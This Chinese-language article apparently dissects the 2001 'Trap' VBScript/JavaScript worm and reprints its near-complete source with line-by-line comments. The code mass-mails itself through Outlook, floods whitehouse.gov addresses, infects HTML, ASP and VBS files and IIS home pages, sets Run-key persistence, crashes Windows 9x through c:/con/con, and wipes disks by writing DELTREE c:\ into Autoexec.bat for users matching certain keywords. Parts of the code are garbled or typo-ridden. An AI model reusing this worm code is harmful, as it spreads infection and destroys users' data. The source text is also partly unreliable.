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“陷阱”病毒源代码大揭密

摘要: “陷阱”病毒源代码大揭密

7月初在我国出现了一种名叫“陷阱”（Trap）的新型恶性病毒，并在7月5日全面爆发，目前国内已有不少的网站和用户遭受“陷阱”的袭击，造成网络系统瘫痪、文件?G失现象严重。该病毒是一种网络脚本语言病毒，并是同时使用了VBScript 和 JavaScript 两种脚本语言编写的，通过OutLook电子邮件传播（不打开邮件也能被感染）、感染文件传播，传播能力较强，并能直接攻击Microsoft IIS 服务器 主页文件，造成网站感染，被病毒感染的网站如有用户来访问时，同时被感染。从病毒的攻击对象来看，“陷阱”很可能是“国产”病毒，但据了解该病毒其实在6月份就首先在韩国出现。

本人非常不幸也遭遇“陷阱”的袭击，造成7月5日计算机蓝屏，于是我研究了“陷阱”的源代码，经过一番努力终于揭清了代码原理，下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宫相关人员邮件名单

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2) = "first.lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

'发送邮件的主?}

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路径

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象

if getErr then '辨认病毒状态

Randomize '初始化?S机种子

ra = int(rnd() * 7) '产生?S机数

doucment.write title(ra) ' 写?S机内容

ExecuteMail '执行邮件状态时的程序

else

ExecutePage '执行 WEB 页状态时的程序

end if

else

ExecuteVbs '执行 VBS 文件状态时的程序

end if

end sub

Function getErr() 忽略错误

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 页状态时的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码

Js_Str = GetJavaScript() ' 得到 Javascript 代码

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码

Gf

'定义病毒文件的路径

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'创建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注册表，让病毒文件在每一次计算机启动自动执行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 执行发送邮件程序

Hackpage ' 执行感染网站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘

call SearchHTML(x & "\") '执行文件感染程序

end if

next

if TestUser then '检查用

Killhe 执行删除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自动启动

window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '邮件状态时执行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '创建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系统路径

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '读注册表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '写注册表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "<" & "/HEAD>" & _

"" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & ""

end if

end function

function GetScriptCode(Languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '检测用户过程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '创建网络对象

'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '发送文件过程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件

主?}是?S机的，此过程与“欢乐时光“类似，所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送

end function

sub SearchHTML(Path) '搜索可传染文件的过程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盘删除文件过程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并?]有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接着立刻删除其它盘的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '让系统立刻死机

window.open ""

loop

end sub

sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<script" thenset tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件头

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

　虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。

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